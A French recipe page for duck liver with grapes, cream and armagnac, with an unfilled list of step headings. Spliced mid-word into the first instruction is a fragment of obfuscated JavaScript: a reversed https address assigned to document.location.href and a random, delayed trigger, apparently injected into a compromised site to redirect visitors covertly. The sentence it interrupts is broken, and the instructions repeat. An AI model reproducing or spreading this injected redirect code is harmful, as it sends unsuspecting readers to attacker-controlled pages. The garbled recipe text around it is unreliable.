Foie de canard aux raisins
2021-03-24- Niveau : Difficile
Découpez le foie en escalopes de 1 cm d’épaisseur. Enroulez dans la farine, secouez-les pour en faire tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomber l’excèdent.
Dans une poêle avec du beurre, les saisir rapidement sur feu vif, sans trop les cuire, salez, poivrez. Réservez
Ingrédients
Découpez le foie en escalopes de 1 cm d’épaisseur. Enroulez dans la farine, secouez-les pour en faire tomber l'excèdent.
Dans une poêle avec du beurre, les saisir rapidement sur feu vif, sans trop les cuire, salez, poivrez. Réservez
Enlevez le trop de graisse que contient la poêle.
Faites revenir les champignons, l’oignon haché, la carotte émincée, faites bien dorer et mouillez avec 1 cuillère à soupe d’eau. Portez à ébullition, et laissez mijotez pendant 10 minutes sur feu très doux.
Ajoutez les raisins, rincés, pelés. Portez à ébullition et ajoutez l’armagnac et la crème. Prolongez de 5 minutes la cuisson. A ce moment ajoutez les escalopes de foie et comptez 2 minutes pour les faire réchauffer. Vérifiez la cuisson du foie qui doit être rosé. Servez.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Etape 13
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